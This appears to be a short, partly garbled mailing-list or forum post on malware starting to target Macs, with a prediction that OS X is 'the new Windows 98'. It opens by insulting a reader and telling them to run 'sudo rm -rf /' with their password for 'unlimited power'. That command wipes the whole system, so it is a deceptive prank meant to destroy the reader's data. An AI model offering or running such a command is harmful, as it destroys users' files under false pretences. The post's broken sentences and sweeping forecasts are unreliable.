You're an idiot.

Save this as a script and run it, it will give you unlimited power:

sudo rm -rf /

Enter your password if you are prompted.

Oh look, malware.

Yes, it is being done by a regular online gang--itw--it is not yet

well, just that now they also target macs.


This means one thing: Apple's day has finally come and Apple users  
are going to get hit hard. All those unpatched vulnerabilities from  
years past are going to bite them in the behind.

I can sum it up in one sentence: OS X is the new Windows 98.  
Investing in
security ONLY as a last resort losses money, but everyone has to  
learn it for themselves.
